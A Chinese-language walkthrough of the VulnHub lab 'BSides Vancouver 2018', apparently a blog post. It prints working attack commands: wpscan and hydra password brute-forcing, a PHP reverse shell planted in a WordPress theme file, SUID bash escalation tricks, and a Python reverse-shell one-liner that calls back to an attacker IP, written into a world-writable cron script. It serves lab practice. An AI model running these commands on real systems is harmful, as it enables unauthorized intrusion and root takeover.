BSides Vancouver: 2018 (Workshop)

BSides Vancouver: 2018 (Workshop)

来自 < https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.199

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.199

服务器同时存在FTP,SSH,HTTP服务,分别进行信息收集

1. FTP 服务 (vsftpd 2.3.5)

  • 漏洞风险
    • 匿名登录:允许匿名访问(用户 ftp/空密码),存在信息泄露风险。
    • 版本检查:vsftpd 2.3.5 已修复著名的后门漏洞(CVE-2011-2523),但仍需验证是否存在其他漏洞。
  • 建议操作
    • 登录并检查 public 目录内容:
      ftp <IP>

      用户名:anonymous,密码:空或任意邮箱

      ls
      get <文件> # 下载可疑文件
    • 检查是否有写入权限(尝试上传文件)。

2. SSH 服务 (OpenSSH 5.9p1)

  • 漏洞风险
    • 旧版本风险:可能受漏洞如 CVE-2016-0777(信息泄露)影响。
    • 弱密钥类型:DSA 1024位密钥强度不足,建议升级至 RSA 2048+ 或 ECDSA。
  • 建议操作
    • 扫描支持的加密算法:
      nmap --script ssh2-enum-algos <IP>
    • 避免使用不安全的算法(如 CBC 模式)。

3. HTTP 服务 (Apache 2.2.22)

  • 漏洞风险
    • Apache 漏洞:旧版本可能受拒绝服务(CVE-2011-3192)或目录遍历漏洞影响。
    • 敏感路径泄露:/backup_wordpress 可能存在备份文件(如 wp-config.php)。
  • 建议操作

4,尝试匿名登录ftp服务器

anonymous

查看目录 ls

发现public目录,进入pubilc目录 cd public

然后get下载这个txt文件 get user.txt.bk

5,访问一下80端口的网站

应该还需要扫出网站的子目录

扫描出来robots.txt,访问之

/backup_wordpress访问之

http://192.168.23.199/backup_wordpress/

dirsearch -u http://192.168.23.199/backup_wordpress -x 403,404,500

是存在登录页面的,推测ftp服务器泄露文件的用户名用于登录wordpress

6,还有方法就是使用hydra爆破ssh登录。这里使用wpscan扫描WordPress,暴破后台用户名:

wpscan --url http://192.168.23.199/backup_wordpress --enumerate u

爆破后台密码:

wpscan --url ' http://192.168.23.199/backup_wordpress/' --api-token 'API' -U wordpressusers.txt -P /usr/share/wordlists/rockyou.txt

爆破出账号密码john/enigma

成功登录

7,尝试修改404页面的内容,使用的脚本是kali自带的反弹shell木马

cp /usr/share/webshells/php/php-reverse-shell.php /root

http://192.168.23.199/backup_wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentysixteen

成功上传

8,在攻击机上开启nc对4444端口监听,

然后访问一个不存在的网页

http://192.168.23.199/backup_wordpress/wp-content/themes/twentysixteen/404.php

9,python脚本启动一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

信息收集发现用户

然后尝试ssh爆破出用户弱口令

hydra -l anne -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.23.199

第一种办法,服务器配置不当弱口令登录提权

10,ssh成功登录。账户/密码:anne/princess

anne@192.168.23.199

sudo -l发现所有命令都能够sudo权限,直接提权成为root

第二种办法, 777 权限文件反弹 shell 提权

1,查找具有777权限的文件

find / -type f -perm 0777 2>/dev/null

关键参数解析:

  • sudo
    以 root 权限执行,避免因目录不可读导致的遗漏(若以普通用户身份运行,可能漏掉大量文件)。
  • -perm 0777
    严格匹配权限为 777 的文件(八进制写法更规范)。
  • 2>/dev/null
    忽略所有错误(如权限拒绝、文件不存在等)。

与Linux 提权联系:

风险场景

权限为 777 的文件意味着任何用户均可读、写、执行,攻击者可能利用以下场景提权:

|------------------|-----------------------------------------|-------------------------|
| 文件类型 | 提权利用方式 | 示例 |
| 可执行程序/脚本 | 替换文件内容,插入恶意代码(如反弹 Shell),等待高权限用户或服务调用。 | /usr/local/bin/custom* |
| Cron Job 脚本 | 修改定时任务脚本,注入提权代码,利用 Cron 以 root 权限执行。 | /etc/cron.daily/* |
| 服务配置文件 | 修改服务配置文件,诱导服务重启后加载恶意模块或执行命令。 | /etc/init.d/*.conf |
| 日志/临时文件 | 写入恶意内容并配合符号链接、竞争条件等漏洞提权。 | /var/log/*.log |
| SUID/SGID 文件 | 若权限为 777 且设置了 SUID,直接修改文件内容可获取 root 权限。 | /usr/bin/old_tool |

典型案例

  • Cron Job 提权
    若发现 /etc/cron.hourly/cleanup 权限为 777,攻击者可写入以下代码:
    chmod +s /bin/bash # 赋予 Bash SUID 权限
    Cron 以 root 执行后,普通用户运行 /bin/bash -p 即可获得 root Shell。
  • SUID 滥用
    若某 SUID 程序权限为 777:
    echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /usr/bin/vulnerable
    /tmp/rootbash -p # 启动后获得 root

2,再插入恶意提权代码

echo '#!/bin/sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.182",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'' > /usr/local/bin/cleanup

反弹shell成为root用户

相关推荐
2501_9159184111 小时前
Flutter 加固方案对比与实战,多工具组合的跨平台安全体系(Flutter App 加固/IPA 成品混淆/Ipa Guard CLI/自动化安全流程)
安全·flutter·ios·小程序·uni-app·自动化·iphone
华硕广东11 小时前
电脑被捆绑软件缠上?3 步根治卡顿弹窗~
科技·安全·技术美术
lingggggaaaa11 小时前
小迪安全v2023学习笔记(一百四十五讲)—— Webshell篇&魔改冰蝎&打乱特征指纹&新增加密协议&过后门查杀&过流量识别
笔记·学习·安全·魔改冰蝎·免杀对抗·免杀技术
落羽的落羽11 小时前
【C++】现代C++的新特性constexpr,及其在C++14、C++17、C++20中的进化
linux·c++·人工智能·学习·机器学习·c++20·c++40周年
Claire_ccat11 小时前
2025山西省网络安全职业技能大赛PWN方向题解
linux·安全·网络安全·pwn·栈溢出
雾迟sec11 小时前
Web安全-文件上传漏洞-黑白名单及其它绕过思路(附思维导图)
javascript·安全·web安全·网络安全·apache·安全威胁分析
小苏兮11 小时前
【把Linux“聊”明白】编译器gcc/g++与调试器gdb/cgdb:从编译原理到高效调试
java·linux·运维·学习·1024程序员节
im_AMBER12 小时前
React 11 登录页项目框架搭建
前端·学习·react.js·前端框架
newxtc12 小时前
【锦州通APP注册_登录安全-无验证方式导致安全隐患】
人工智能·selenium·测试工具·安全·政务
lpfasd12313 小时前
GEO崛起与AI信任危机:数据源安全如何守护智能时代的基石?
大数据·人工智能·安全